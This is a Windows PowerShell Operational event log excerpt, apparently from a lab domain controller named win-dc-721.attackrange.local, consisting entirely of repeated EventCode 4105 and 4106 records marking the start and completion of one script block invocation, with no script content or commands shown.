RecordNumber=1468045
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468044
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468043
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468042
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468041
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468040
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468039
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468038
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468037
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468036
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468035
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468034
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468033
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468032
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468031
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468030
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468029
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468028
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468027
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468026
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468025
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468024
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468023
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468022
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468021
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468020
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468019
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468018
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468017
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468016
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468015
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468014
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468013
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468012
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468011
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468010
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468009
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468008
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468007
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468006
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468005
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468004
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468003
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468002
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468001
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468000
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467999
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467998
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467997
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467996
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467995
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467994
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467993
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467992
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467991
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467990
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
